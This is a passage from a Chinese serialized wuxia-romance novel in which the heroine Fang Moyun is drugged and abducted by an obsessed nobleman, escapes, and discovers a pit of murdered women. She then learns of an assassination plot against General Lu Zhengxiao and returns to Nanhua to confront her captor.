俞夫人更是眼露不悦，她最厌恶茉云这等嬉皮笑脸的样子，她轻轻将手中的帕子掩着鼻息，可语气依然平和，但话里带着微妙的神情：“你来南华舅舅家，舅舅舅妈本是甚为欢迎，可是现在这个时局，正是操持你表哥大婚之时，怕是对你招待不周。”
茉云一脸淡然，只是静静地听着，仿佛这些话如同微风拂过，轻轻掠过她的耳畔，舅妈的这份盛气凌人、刻薄的意味，如今却半分伤不了自己。
“就不打扰了俞府的大喜事了！”茉云淡然而笑转身准备离开。
“也是，去找你们方家的亲戚，看看他们是否能帮得上你忙。”舅妈嘴角微微上扬，露出一丝淡淡的嘲讽笑容。
茉云停住了脚步转身望向舅妈，她明知方家已经只剩下她和哥哥们这一家几口了，舅妈那得意的眼神仿佛还在说，不要指望我会对你们有所怜悯。
茉云则瞬间冷凌的笑了望向俞夫人：“好，表哥大婚，唯盼他能寻得一贤妻如舅舅
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舅妈一般，能一生两情相悦，举案齐眉，心心相 映，不离心离德！”
俞夫人轻轻咬住了牙关，脸上的笑容也僵硬了，因为离心离德四个字便是她婚姻最真实的写照，方茉云还是这般可恶，自小她便能轻易惹怒自己。
茉云则满脸笑意的转身走了，短短几句，便已足够让人感受到寒意。青石路上的行人依旧匆匆走过，似乎没人注意到这番世态炎凉，人情淡薄……
走出几步，茉云又停住了脚步，她说原来你当真回了南华，言外之意是有人告诉她我回了南华，谁呢？师兄绝不可能去告诉她。可是边思虑边走着，她瞬间停住了脚步，转身找地要躲……
“茉云！”直到听到这熟悉而温和的声音茉云知道躲已经来不及了，声音里带着几分欣喜与惊讶，茉云只得傻笑的回头了，看到了舅舅那副和蔼可亲的面孔。
舅舅俞轩宾激动站在她面前的，人已中年还是这般文质彬彬，手里拿着旧书，身着一袭素色长衫。他舅舅是个迂腐的文人，性格刚正、古板，但茉云的娘是他亲妹，他待他们一家素来亲厚。
“真是你！”舅舅快步走上前，眼里充满了久别重逢的喜悦，语气中带着难掩的激动，“你回来看舅舅了！这一路，辛苦吗？”
茉云微微一笑点点头，心里却流淌过一阵温暖，他舅舅素来很少出家门，定是听说了自己回了南华，故而来街上寻她，舅舅和舅妈素来都是这般鲜明的对比，奈何这包办的婚姻让他两怕是也痛苦了一生。
老舅擦擦眼中的老泪纵横，上下打量着茉云，虽然一身简朴但还精气神十足，他甚为开心，语气急切而关切：“快，跟我回家住！”
茉云温和的笑了，但是站在原地却没有动。
“这么多年舅舅一直挂念着你，还好你们还活着，你不用担心，家里怎么舅舅能坐主！”
他说着急忙一把要拉住茉云的手，这份拉扯在南华的街头是不常见的，何况他是俞府的老爷，可是他什么都不顾，要把茉云带回家。那双布满书卷气息的手虽然瘦弱，却充满了真挚的力道。
茉云最终抽回了手，看着舅舅笑着轻轻摇了摇头：“舅舅，你的好意我心领了，只是我这次回来不想叨扰您和舅妈！”
“你还……还怪舅舅当日没有照顾好你们吗？”
“不是，舅舅你一直待我很好，可是看见舅妈那张脸我就很痛苦！”茉云被逗笑了说道，“真是同情你，老舅！”
老舅闻言眉头微微皱起，眼中露出些许无奈与心疼，他也清楚这位妻子的强势与刻薄，为了俞府的声誉和子女的名声她是自私自利到了极点。
“你别理她便是！”老舅叹了口气，语气中带着几分无奈。
茉云依然摇头，语气依旧平和，但也透着不容拒绝的坚决：“舅舅，您的好意我心领了，只是，我现在有自己的打算，我就住在师兄安排的小院里挺好的。”
老舅看着她的神情，知道这个从小就有主见的外甥女从不轻易改变自己的决定，而且也知道她师兄现在是琼枝苑的主人，也确实能照拂她一二。
老舅最终无奈地叹了口气，眼中依旧是满满的关心：“既然你坚持……但有你记着你有任何需要，记得来找我，舅舅家里随时欢迎你。”
“好！”
两人短暂地告别，老舅那略显佝偻的身影几步一回头的渐渐消失在街角。茉云亦深吸一口气，继续向前走去，心中不禁思量是谁这般好心到处将自己回南华之事四处告知，莫非是非逼着自己将当日的恩怨好好算算，可现在自己没空！
谁知没走得几步，忽然之间，一阵诡异的晕眩感袭来，仿佛无形的手掌蒙住她的双眼，脚步也微微滞软，身体不由得晃了晃，眼前的景象变得模糊。
她感觉到一股强烈的困意，如潮水般自四肢百骸涌来，眼皮沉重得睁不开思维也变得迟钝，她意识到不对劲，脑中瞬间闪过一个念头，自己被人下药了！
她试图再走几步，身体却越来越不受控制，最终脚下一软，膝盖微微弯曲跌倒在地。眼前的世界逐渐变成一片朦胧的黑暗，四周的风声、嘈杂声也慢慢远去，最终失去了意识……
150.惊魂
茉云在密封的马车上，缓缓苏醒，伸手摸摸自己沉重的头，眼皮仿佛重如千金。她试图挪动一下身子，只觉肌肉僵硬，但慢慢的她以内力运气才恢复了清醒，坐起了身，她深吸了一口气，感觉到自己现在已不在街市，周遭弥漫着淡淡的花香，带着一丝泥土潮湿的清新，仿佛在刚下过一场小雨小路上。
她心想那就将计就计吧，看看到底是谁？马车驶入了一个宁静的庭院。
四周环绕着高高的院墙，墙头爬满了青藤和盛开的花卉，院子的中央有一座小小的池塘，水面波光粼粼，院内一片静谧，只有偶尔几声鸟鸣打破寂静，没有任何人影，也没有听到外界的嘈杂声，这让她意识到，自己所在之处并非寻常的地方，定然极为隐秘。
正当她思虑之时，传来轻微的脚步声，似乎有一群人正悄然靠近。
此时马车忽然被大力的打开，映入眼帘的是一个身着华丽锦袍的男子，衣料上织满了繁复的金纹，腰间陪着价值连城的佩玉，处处 彰显出非富即贵的身份。
茉云打量着此人，他大概而立之年，五官倒也俊朗，脸上始终挂着一抹似笑非笑的神情，但那双眼睛，漆黑阴森，带着一种令人不寒而栗的疯狂。
当他看清茉云这般盛气而凌冽的表情，他没有丝毫退却，反而眼中满是炽热。
“茉云！”
“你谁啊？”
“你不记得我了？”此时他拨开额间深深地伤痕，激动而不可抑制的望向茉云。
“昆大少爷？”茉云无语的指着他想着说，她之前从南华跑路最大原因就是将他打了。
“你还记得我！”
茉云则被逗笑了指着昆少说道：“你还是这般奇葩啊！”
昆少爷则发自内心的笑了，他自出生便是继承南华昆家的大少爷，他的姑姑嫁了王爷府，城中自幼没人敢辱逆他，只有茉云来了南华之后，便是见他一次揍一次，揍了就跑，可昆少就老要去挑衅，直到他让人抓了青岚，彻底激怒了茉云，将他揍得满头是血，等他醒来之时，茉云已经跑了，他不知为何心中却无法忘怀。
可是随着岁月流淌，那股年轻时便埋藏在心底的执念愈发偏执和疯狂。这份无法忘怀也伴随着他的成长早已扭曲。如今随着昆家得势成为南华第一世家，手握权势心性却变得更加狠毒、变态。
“茉云。”昆少声音柔和而低沉，仿佛在与亲密之人交谈，然而语气中却藏着一丝无法掩饰的阴鸷，“这么多年，我知道你会回来找我的。”
“找你？”茉云挑眉望向昆少：“我谢谢你，让我将刚吃的下了药的饼，都能吐出来了！”
昆少走进马车眼中充满了疯狂的光芒，如同猛兽盯上猎物般的占有欲。他的手指轻轻抚过袖口，那微微颤抖的手指却显露出他内心难以抑制的兴奋和扭曲。
“你知道吗？从你离开那天起，我就一直在寻……”他低声要凑近说。
可还未等他说完，茉云一脚就将其踢飞，飞身而出坐在马车棚上蔑视俯瞰着他，顿时他的随从要一拥而上。
而他趴在地上吼道：“不要动，谁都不准动，谁敢碰她，我就将他剁成肉泥！”
他的随从皆吓得顿时退后几步，不敢擅动半分。他们都知道自己这个主子出生显贵，但性格极为残忍，简直是暴虐成性，玩弄他人的痛苦可以给他带来病态的快感。而且凡是敢与他作对或不如他意之人，都会神秘消失，没人人敢对他有半句怨言。
昆少抬起头看着高高在上的茉云，那副狠戾而冷漠的样子，顿时让他心中的扭曲和疯狂达到顶点，他擦擦嘴角的血反而疯癫而痴情的笑了。
“你终于回来了。”
他的每一个字都像是毒蛇般缠绕般，让茉云觉得恶心，可昆少看向她，她的眼神依然冰冷而倔强，如幼时一模一样，哪怕处境危险重重，她决计不会屈服。
“有病！”茉云飞身而下，抽出一随从之剑，南华城又有几个人能拦得住他，再者昆少的随从压根不敢伤她，茉云仗剑而出，飞身就出了庭院。
昆少却一路看得如此痴迷，他癫狂的吼道：“方茉云，你会属于我的！”
茉云心想着自己药效也没有完全退去，还是早走为妙，她从林中逃出，秋夜的山林寒意渐浓，秋风瑟瑟带起片片枯黄的落叶，沙沙作响。
茉云疾步穿梭在山林间，身后那座幽静的院子早已被她甩在了身后，然而却挥之不去心头的一股股恶心。
忽然，她的脚下被猛地一绊，像是被什么拉了一下，身子失去平衡扑倒在地。冰冷的泥土混着湿湿的露水透着寒凉，茉云用手撑住地面准备起身，可定睛望向绊倒自己之物，瞬间全身凉透，那是一具女尸！
寒意从脊背直冲头顶，茉云蹲下仔细查探，月下这具女尸衣衫破烂，面目狰狞，手脚早已僵硬 。
茉云抬目警觉地扫视四周，发现这是一片杂草丛生的山道，似乎鲜有人迹，难道是此女子经过此处，林中遇害，可不对啊，南华绝不可能有这般大小的女子独自出家门的。
茉云扶着身旁的树干起身，不知为何忽然觉得前方隐隐透出一股更诡异的气息。她往前走去，发现前方不远处似乎有一块塌陷之地，形成了一个巨大的坑洞，周边植物都被斩了去，她慢慢靠近想看清那片不自然的低洼。
越靠近越觉一股令人作呕的恶臭扑面而来，她看清之时，面前的景象让她呼吸差点停滞——那是一个深不见底的大坑，里面堆满了女尸！更让她觉得可惧的是有几具女尸穿的就是琼枝苑最优秀学员才能穿的红色衫裙……
月光下，一张张苍白、僵硬的脸孔，仿佛无声地注视着她，她只觉一阵冰冷的寒意蔓延开来。她们都是衣衫凌乱，那些未完全腐烂的面容还带着未消散的痛苦表情，显然死前曾经经历过极大的恐惧和折磨。
她意识到，这些无辜的女孩都是受害者，被残忍地玩弄后抛弃在这片荒无人烟的山林中。茉云的手都在微微颤抖，身体紧绷，心中升起一股强烈的愤怒，那个禽兽不如的畜生！
茉云素来越是愤怒越是冷静，仅仅是一个南华昆家没这么大能耐，她此刻亦无法多作停留，那个疯子或许还在寻找她。
茉云深深吸了口气说道：“我一定要帮你们报仇。”
她咬紧牙关压下内心的震惊与愤怒，飞快地转身，继续向着更远的黑暗中奔逃，月光被层层乌云遮蔽，整个世间陷入了无尽的黑暗，四周树影摇曳，风声低鸣，仿佛这片山林都在为那些无辜的冤魂哀悼。
回到小院中的时候，茉云脸色苍白如幽灵般吓了穆棱和腾腾一跳。
“怎么你，这是？”
茉云抬手有些虚弱的倒着酒，没有往嘴中倒，而是轻轻抿了一口，才一口喝下。
“二哥，问你话呢！”
“我今日黄昏从琼枝苑出来之时，买了个饼吃，我因为见到了舅妈，聊着也没有在意，结果饼里下了蒙汗药，我倒在了路边？”
“那你？”
“没事，我跑了！”
“谁下的？舅妈？”
“她那人还不至于干此事？是昆少！”
“他如今还来找你晦气！”
“他是个变态，幸亏我在马车上醒了过来，让我跑了！”茉云又一杯酒下肚，越想越胃里翻腾想吐，“后来……”
最终茉云看见穆棱担忧的眼神和腾腾稚嫩的脸，没有将林中惊魂的遭遇说了出来。
“明日腾腾你和你娘、二叔离开南华，去往你外婆家，等我完事了，来找你们！”
“姑姑，你要干什么？”
“不要问，照做就是！”
“好！”腾腾马上起身去叫她娘收拾行囊。
“那你……”
“二哥，你看腾腾都比你懂事！”茉云则被逗笑了，穆棱长叹了一口气点点头。
可是茉云想着林中遭遇自己便又笑容僵硬了，都是娘生爹养之人，怎得她们就被这般对待……
半夜茉云又被噩梦惊醒，林中的一切都历历在目。
“我答应了跟你们报仇，我方茉云决不食言！”她深吸一口气说，“可你们也让我好好休息，才能铆足劲去对付那群畜生啊！”
说完她又倒头睡了过去，一觉睡到了大天亮，院外好像显得有些吵闹，一早起来就碰见腾腾来跟她说，城门都被戒严了，自己是不是还出去。
“不要乱闯，以免被抓！”茉云喝着茶漱漱口说道，“可说为何戒严吗？”
“说是什么王爷会来，城中会有官府的大事，为确保城中治安不被奸细混入，现在四个关卡全部戒严了！”
茉云眼神中又闪过一丝疑虑，心想这又是什么鬼，昆少也不太可能因为自己
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搞出这么大的动静吧？可是目前自己手上无权又无人，单枪匹马跟昆少他们斗，简直就是螳臂当车。
本来自己还想着留在城中调人过来，可是现在想来叫师兄鹏飞、白岩他们来，他们的职级可能带人无法进城。
“收拾东西，我带你们先走！”茉云当机立断起身说道，心想现在状况扑朔迷离，自己都不能确认师兄到底是个什么角色，为今之计只能先带他们离开此处从长计议，大不了直接上京找师傅和大师兄。
还没等茉云起身，忘忧便闯了进来，平日里他绝不会如此无礼。
“此刻快跟我走！”忘忧一把拉过茉云说道。
“师兄？”
“什么都不用收拾了！师兄来不及跟你解释，可是师兄绝不会让你有事，跟我来！”
茉云望向忘忧那焦虑的眼神，深吸一口气，还是带着家人上了忘忧的马车，不过忘忧决计不是平日的从容和温和，他眼中全是惊慌失措。
“走，往南走，翻过这座大山，就出了南华城，就再也没有人能抓住你了，不论听到什么，都不要回头。”忘忧将茉云推入小道说道，“快走……”
“师兄！”
“不要迟疑，快走，往前走，不要回头！”
茉云顿时吸了口气当年也是忘忧送自己到城门口，跟自己说不要迟疑，往前走，她深吸一口气望向大山深处的那些冤魂，自己此时不可意气用事，必须从长计议。
她转身带着他们逃入林中，可是此时追兵马蹄声已经到了。
“方茉云，你若敢逃，我就杀了忘忧！”此时山中传来的昆少癫狂的吼声。
“不要回头！”此时忘忧也疯狂的大声喊道。
茉云咬牙一把拉过回头张望的穆棱往大山深处走着，走到了黄昏，他们才走出了大山，茉云终于松了口气，在路边的小摊喝点茶水。
此时行色冲冲的一行人悄然经过茶摊，也坐下来喝水，气氛瞬间变得紧张起来，茶摊的伙计也小心翼翼起来伺候，因为这些人个个神情冷峻，目光如狼，隐隐散发出一种不容小觑的气势。
茉云扫了一眼，确实都是身材粗壮且有些身手之人，言谈之间充满了草莽气息，绝非善类，她本准备起身走人，以免夜长梦多。
“头，他们确定卢正啸这几日会经过南华？”其中一名身材高大的男子低声问此行人中为头的人，而且他们说的是关外话，所以聊起来肆无忌惮。
茉云微微起身的的瞬间又坐了下来，她当然是能听懂关外话的，更重要是他们提到了卢正啸。
“头！听说他手下个个都是厉害的将领？我们带的人手够吗？”
“你们紧张什么？头自有他的安排！”另一名瘦高的男子坐在为头之人身边，嘴角勾起一抹阴险的冷笑，“卢正啸此时来此地是干什么？为了他的营中军饷和坐镇南境入口的王爷，还有南华城昆家商议，如何打通运粮关卡，他怎么可能带很多军人来，南华等人本就反战。”
茉云面容波澜不惊，可是手中却握紧了茶碗。可她余光又扫了一下这些杀手，不出意外卢正啸就加上千山，万莫都能收拾了他们。
“可别小看卢正啸！”领头之人一看便是个面相阴沉的杀手，他眼中闪过一丝狠厉的光，“他出手狠辣，身边护卫也是高手。不过，所幸上家还有个杀手锏能逼他就范。”
“老大，是什么？”
“是他的此生至爱的女子！”
茉云喝着茶差点被呛到，顿时吸引来众人的目光，穆棱本也是听得懂的关外话的，马上说道：“你也是，再口干，也有小口喝嘛！”
“对！”茉云咳嗽着说道，“太口干了！”
他们狠狠地扫了茉云一眼，也没觉得有什么异样，继续聊着天。茉云眼神镇定了下来，擦擦嘴角的水，那这番局势则是完全不一样了，不只是关外之人，也就是说南华城中也有人要杀他，说不定就是朝中人。
“兄弟们，只要能成功，这次报酬可是相当丰厚的，”领头的男子威严的说道，言语中不只透着对赏金的渴望，“而且这次行动若能成功，咱们可得名声大噪，今后在关外就是风光无限了。”
茉云却眼中都是轻蔑，若不是大嫂和二哥在，老子都能解决了你们，你们还想去找卢正啸张狂，可是那南华城中埋伏之人，才是真的值得惧怕之人……
151.兄妹
茉云眼神示意让众人起身，穆棱放下了文钱，他们缓步从容的离开茶摊，尽量让自己显得淡定自然。
可茉云心中已然笃定，一定要提前阻止这场危机，自己必须回去。她决不能让这些敌人有机可乘，不能让任何一个威胁到他的性命……
“腾腾，你带着大嫂和二叔去你外婆家，我还要回南华一趟！”
“为什么？”
“照做就是！”
“我与你一道！”穆棱顿时斩钉截铁的说道。
“二哥，我现在也没有时间与你争辩，你按我说的做！”
“忘忧如此仓皇失措的将你送出城，人都追了上来，现在回城你能保证你能全身而退吗？我知道你是因为卢……”穆棱停了一下，他亦知道腾腾对卢正啸有很深的感情，他如果知道正啸有事，他亦不会走，“茉云，你若被牵扯其中，还有我能在城中提醒他人，不要中计！”
茉云转身之时停住了看着穆棱说：“二哥，你想好了！”
“重要关头，我跟你和大哥留的都是咱爹娘的血，我能多怂？”
茉云顷刻间被逗笑了伸手拍着穆棱的肩膀点点头。
“对了，腾腾……”穆棱有几分犹豫，最终还是说了，“你爹说下次去拜祭青岚，让你帮他上柱香，二叔怕忘了，现在告诉你！”
腾腾愣了半刻看向茉云和穆棱。
茉云则蹲下了温和的看向腾腾说道：“若我没时间去，也帮我上柱香。”
“姑姑！”
茉云抬手摸摸腾腾的头，腾腾最终点点头，他知道即便他随他们回了南华，也只是拖累，帮不了半点忙。
茉云起身便和穆棱往南华赶，走入山林中，夜幕渐渐降临，一切都变得那么阴森。
“茉云，二哥一直想问你一个问题！”
“怕不怕鬼是吗？怕！”
穆棱无语的看向茉云说：“你是否钦慕卢将军！”
茉云没有回答，穆棱亦没有追问，两人翻山越岭之时，茉云突然看向月色下艰难的跨过沟壑的穆棱说道：“你说为了一个喜欢的男子，拿了大哥垫背，又拿二哥垫背，是不是有点重色轻哥！”
穆棱差点没有掉下去，幸亏茉云被一把拉住了他，将他拖了上来。
“没事吧？”
“没事！若是卢将军，你拿全家垫背都可！”穆棱温和的笑了说道。
茉云顷刻被逗笑了说道：“为何？”
“大哥以前老说，娘生下你之时，爹开心的说只有天下最好的男子娶你，他才能同意，二哥也觉得是，卢正啸就是天下最好的男子！”
“得了吧？”茉云无语的说道。
两人谈笑着回了南华，茉云带着穆棱来到了俞家门口，最终茉云推门走进了俞家。秋风萧瑟，大院的落叶在脚下轻轻打旋，此时舅舅闻声便喜极的迎了出来，而跟在后面舅妈和表妹，依旧是那副居高临下的模样。
茉云知道穆棱此时长途跋涉，身心俱疲，他不可能跟自己乱闯，俞家是他此时唯一的藏身之所了，
“快进来，快进来！”
而舅妈却一如既往地高贵端庄，身着华美的锦缎长袍站在原地一动未动，表妹俞诗那双凌厉的眼睛中充满是轻蔑，仿佛眼前的茉云和穆棱不过是上门乞讨的寒酸乞丐。
“哟，这不是我的好表姐吗？”俞诗冷笑一声，声音阴阳怪气，“怎么，落魄了？现在想起我们家来，真是把我们家当成了什么了？”
“你给我闭嘴！”顿时舅舅俞轩宾忿然吼道，他平日里绝不会这版大声说话，震得俞诗吓了一跳，“茉云，来，不用搭理她，随舅舅进屋！”
茉云心头只得忍住刺痛，她知道这份场景是必然的，舅舅在家其实不过是个富贵闲人，家中做主都是舅母，她此时只能尽力保持着平静的语气：“舅舅，舅母，表妹，我二哥体弱，而我有事要忙，暂时无力照顾他，恳请俞家暂时收留他几日。”
听到这番话，俞诗的脸上闪过一丝冷笑，嘴角微微翘起，露出一种显而易见的优越感，眼中全是戏谑和轻蔑：“求人不该是跪着吗，何况是对长辈？”
“俞诗，你给我滚进去！”
“爹！她当年害我害得还不够吗？我本来可以嫁昆家的……”俞诗忿然的说道，最终是舅妈伸手拉住了她。
茉云咬紧牙关背脊僵直，双手紧握得指甲深深嵌入掌心，可她别无选择，为了二哥的安全，也为了万一自己无法全身而退，二哥还是他安全的最后保障。此刻茉云双膝还未触地，就似乎已经能感受青石板冰冷。
霎时，一个声音从门内传来：“母亲，妹妹，够了。”
声音不大却带着一股不容置疑，茉云抬目望去，是他舅舅的儿子，也就是她的表兄俞遥缓步从院中走了出来。
他身着素色长袍，眉目清秀，神色温和而坚定。他一直以来都是个沉稳谦和的人，只是因为极为孝顺父母，所以在家中地位较为微妙，因其从不刻意与爹娘争辩是非。他走到院中，微微拱手，向自己的父亲母亲行礼，然后目光转向茉云行礼。
“表哥，表妹。”他轻声说道，语气中带着关切与体贴，“表妹，表哥我会照顾的，你放心去做你要做的事吧。”
俞诗一听脸色立刻变了，冷哼一声不满地说：“哥，你这是做什么？我们这宅子，什么时候成了收留外人的地方了？况且，她们自己也有手有脚，何必非要把这麻烦丢给我们？”
“爹真是没有把你教好，往日里让你读的那些书，你都读哪儿去了！”
俞遥亦转身望向俞诗，神色依旧平静，但眼中却闪过一丝不容反驳的坚定。
最终舅妈伸手拉住了俞诗，看向穆棱那身心疲惫却又不堪受辱的样子说道：“世道艰难，暂时让你表哥住在这里，我们家不缺这点地方。”
俞诗吃惊的望向舅妈，可茉云也愣了半刻抱拳说道：“谢谢舅舅，舅妈、兄长和妹妹收留！”
“你去吧！”
茉云顷刻转身扶着二哥的肩膀轻握了一句，轻声叮嘱几句，然后她转身便飞身离去，她知道等待她的将是一番恶斗，但此刻她无怨无悔也无所畏惧。
穆棱深吸了一口气，秋夜的风凛冽如刀，吹乱了她离去的发丝，前方无论多么艰难，她从来都是迎难而上，从不退缩。
茉云一路疾行，她心中早已打定了主意，她一定要查出这个居心叵测且有能力置卢正啸于死地之人，此刻自己不能打草惊蛇也不能坐以待毙。
夜色沉沉，月光如水，茉云到了琼枝苑，遥望而去就能感受到弥漫着一种紧张而压抑的气氛，和原有的那份宁静雅致截然不同。
她飞身而上隐匿在了屋顶，此刻院中果然热闹得很，所有院中护卫都神情惶恐地站在一旁，学员们蹲在墙角都捂着嘴，不敢发声只能强忍着恐惧。庭院中央昆少狠狠掐住了忘忧的脖子，面目狰狞眼中充满了狂怒与癫狂，嘴角却是阴森的笑容，早已透出了疯狂的杀意。
“你竟敢帮助她逃跑？背叛我！今天，我要让你整个琼枝苑为此付出代价！”
昆少的眼神中充满了扭曲的愤怒，而无忧则是一脸心如死灰的从容，月下两人对比如此鲜明。茉云深吸一口气望向他的师兄，曾经师兄是最心疼自己的人，如今却变成自己心疼他不知道陷得多深？
此时忽然有一道身影冲入了院中，也没有人阻拦，她不顾一切拉住了昆少的手：“相公，我求你住手！你冷静点！”
茉云抬眼望去，原
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来是城中第一美女，昔日的包家嫡女，包芸莲，如今应该是昆夫人了，她自幼才情出众，以清高而冷傲的气质著称，人如其名仿若一株冰莲，生于世俗，却不染尘埃，乃城中女子典范，她居然嫁给了昆少？也是，这南华城的家族谁不想把女儿嫁给昆家继承人。
而昆家护卫也都只能看着，少夫人平素清冷，从不屑于和昆少同流合污，可她今日却不得放下了所有的冷傲与清高，苦苦哀求大少爷不要在施暴行，不然昆家门楣毁于一旦，这一刻她眼中的冰冷似乎变成了一种令人心碎的恐慌与悲哀。
昆少却丝毫无动于衷，他那张扭曲的脸上只剩下疯癫，他毫不留情地抬起手，狠狠一巴掌过去，伴随着一声脆响，芸莲被重重打倒在地。她嘴角流下鲜红的血迹，脸上迅速浮现出一片红肿，目光中充满了痛楚与绝望。
周围的下人和随从无不面露恐惧，但任谁也不敢上前阻止，只能眼睁睁地看着夫人被打倒在地，而大少爷仿佛一头被激怒的猛兽，随时准备发泄心中的怒火。
可芸莲依旧支撑的爬了起来，声音虽颤抖但带着几分坚定：“我求你放过琼枝苑……不要再因为她，做出这等癫狂的事情来，你想想现在是什么时候，爹说了，此时万不能横生枝节！”
茉云看向芸莲，哪怕在众人前，被丈夫一巴掌打得颜面尽失，可她的神情没有半分崩溃，那种隐忍的冷傲真是深植在她的骨子里，倒也让自己高看一眼。
而昆少的癫狂却已完全失控，他拿过随从手中的木棍，忘忧此时已然没有任何支撑之力的带在地上，身上尽是伤痕，鲜血顺着他的额角缓缓流下。昆少则眼中皆是张狂，瞬间又挥舞起木棍！
霎那间，茉云猛然从楼顶飞身而下，犹如一道凌厉的风，未等众人反应过来，她已如利刃般掠过，手中长剑划破空气，瞬间劈开了正在挥向师兄的木棍，棍子应声而断，碎屑飞溅，惊得周围众人纷纷后退。
昆少还没有晃过神来，便感觉到一股强大的力量掐住了自己的喉咙。直接将自己抵至墙角，冷冽的目光如同锋利的刀刃。
昆少顷刻便双目赤红正要发狂，随从也皆抽出了刀刃，周遭的女子们再也隐忍不住尖叫了起来，可直到昆少猛地抬眼看清那从天而降的身影竟然是茉云。
他的怒气在瞬间戛然而止，狂乱的表情僵了片刻，取而代之的疯癫而痴狂的笑意，他几乎是颤抖着，喃喃道：“你……你回来了……”
他的随从连忙停住了攻击的架势，而忘忧的从容淡定瞬间破碎，他原以为茉云已然远走高飞，心中本是宽慰，谁知她竟然冒着极大的危险回来了。他的神情由错愕到惊慌，眼中充满了复杂的情绪……
“师妹！”
茉云抬起了握剑之手示意他不要言语，另一只冰冷的手仍然牢牢掐着昆少的脖子，眼神冷若寒霜，皆是厌恶和决绝。
“姓昆的，这么多年过去了，你还就这几招？抓旁人来威胁！”茉云看向昆少瞬间亦露出了狠戾而疯狂的微笑，“有本事你自己抓 到我！”
昆少的笑声顿时凝滞，但并不是畏惧，而是越发沉浸在这种极端的感觉中，他觉得这是茉云对自己的回应，目光更是痴迷而疯癫：“好！你给我一月，呆在城中，我定能寻到你！一月之内，你若跑了，我就将忘忧剁成肉酱，一月之后，我未找到，那便是我无能！”
“可以！看咱谁弄死谁！”茉云虽然怒火翻滚但她心知肚明，此时继续跟昆少纠缠毫无意义，自己目的是要搞清楚害卢家军的是谁？
于是她猛然松手的瞬间，一脸厌恶的转身离去，轻盈如燕般飞身跃起，几个起落之间便已消失在琼枝苑的的高墙之上，如月光下一道惊鸿，昆少却痴痴的追了去，直到茉云消失在夜色中……
152.惹祸
夜幕渐深，寒风夹杂着秋叶呼啸着，茉云一路往城郊奔去，直至前方逐渐出现了一个熟悉的小院，她才停住了脚步，那是周劲的住所。
她轻轻推开小院的木门，院子里朴素整洁，悄无声息的显然一家人已入睡。她刚走进几步，忽听一声细微的异响，随即一道寒光闪现，周劲已手握长刀，从屋内探出身来，眼神锐利如鹰，仿佛时刻准备应对闯入者。
然而，当他借着月光看清了来人，脸上的紧张瞬间化为关切。
“又惹事了？”周劲压低声音，既有无奈又有些许担忧，“你怎么来的？”
茉云低声道：“放心，没人跟着，事出紧急，借你柴房让我休整一会儿！不要告诉亚亚！”
她的语气虽镇定，但眼中依稀透出疲倦和一丝难以掩藏的危机。周劲也知道她说不要告知亚亚的原因，终究是不想连累他们，看来情况非同小可，没有多问，立刻将她带到柴房。
“休息会儿！”
茉云微微颔首，坐到在了稻草旁，疲惫之色掠过，心中一下千头万绪，她不断梳理着这些日子思绪，却没有丝毫的线索。
不论卢正啸在对抗峑戎之事上如何盛气，他毕竟是圣上心头宝，栽赃些罪名让他受点惩戒可以，但是如此引杀手入关，设计要取他的命，谁有如此胆识和能耐？
茉云撑着头想着，可是他瞬间又被一阵浓郁温暖的面汤香吸引，是周劲给她端来了一碗热腾腾的面，尽管他眼里都是无语和嫌弃，可是茉云毫不在意的憨笑着，马上拿起了筷子大快朵颐了起来。
“又惹了什么事！”
“别提了！”
周劲无奈的长叹了一口气：“你能干什么好事！”
“那周叔你为何救我！”茉云一边大快朵颐一边笑着说道。
“他们人呢？”
“安排好了！”
周劲皱眉看着茉云说道：“明天天不亮，我带你去大山里……”
“我不去大山！老子要跟他们斗到底！”
周劲愤怒的瞪向茉云，这丫头便是这般死到临头还要胡闹。
“因为我在大山看见一大坑，坑里一排排的女尸，把我都吓坏了，然后就天天噩梦，不给那些姑娘们的冤魂报了仇，估计是不会罢休的……”
周劲顿时愣住了，拳头瞬间握紧，他很早就怀疑过此事，怎么很多嫁入高门大户的女子就没有回过娘家，众人皆以为是高门大户容不下什么穷亲戚，父母只当是将女儿送入了光明大道遥寄厚望，谁知道早已去了阴曹地府。
“哎，我也是爹妈的女儿，若坐视不管，情何以堪！”
“你打算怎么管！抓了你师兄？”
“抓他没用，周叔你定也是个见过世面的，就我师兄能有这般能耐？”
“也是，那小子有几两重，杀个鸡都抖，有那出息！”
茉云被逗笑了望向周劲，最终心中还是把正啸的事压下了，这件事还是自己先查查，免得打草惊蛇，而且非到迫不得已他不想连累亚亚一家。
两人聊完，周劲给茉云取了被子就回了房，柴房内虽然简陋，此刻却安静且温暖。茉云倚在堆满稻草的角落，暂时松了一口气，抬眼望向外面的夜色沉寂，明日的路茫茫未知，但她清楚，自己必须查下去。而且卢正啸之事比琼枝苑更迫在眉睫。
茉云闭上眼睛静静的想着南华城的四门戒严，连民众都知道的朝廷有大事，必不会有假，也确有可能卢正啸大战之前，为确保运粮之道通畅来此处议事，因为周边皆是产粮大省，若是能打通南华这一线运输通道，粮直接能从周边各省调入南关，后援将不再有危机。
当日自己在察院之时，也了解过各地权贵，这南境周边的王爷不是圣上的亲叔叔，亲弟就是开国元勋世家，在各自封地，连圣上都要给几分颜面，但是都跟卢家无冤无仇啊？人保卫了南境安康，他们才能在后方继续伸长腿享他们的荣华富贵。
而且封地王爷和朝臣过从甚密，是大忌，他们也不太可能跟太师勾结杀卢正啸，他们又不是出生贫寒，这样的富贵出生也不会傻到牺牲自己世世代代的荣华去帮太师干活。
南华的昆家在本地财大气粗，虽然昆少是个变态，可他也不蠢啊，好日不过了，将皇上最喜欢的义子杀了，换个满门前程尽毁，脑 袋送掉。
幕后黑手是谁自己不知道，缘由也不知，但是有一点自己可以确认的，他们肯定不会自己出手，定是做个局找人来杀他，但凡是了解卢正啸一点的人都会知晓，那些关外的杀手干掉他连一成的把握都悬，谁来动手呢……
“到底是谁要害他啊！怎么害啊！”茉云捂着头躺到了稻草上，“谁能告诉我啊！”
瞬间她又坐了起来，有个人定然知道这一切，那便是他们挟持的所谓能让卢正啸坐以待毙的至爱，可是想着她不禁满腔愤慨，卢正啸如果是能为了一个女子放弃南境大业之人，自己都会想弄死他！
还有！什么所谓他的至爱女子，关若辰那个混蛋，跟自己关系这般铁，一字半语都未跟自己提过，没半点线索自己迎面撞见都不知道是谁，男子果然都是一丘之貉！想着想着她气愤的入了梦想，只因她实在是太累了。
翌日清晨，周劲打开柴房之门，已经人去柴房空，他深深吸了口气转身看向南华城中，那丫头回来了，估计又要在这南华翻天覆地的闹一场可了……
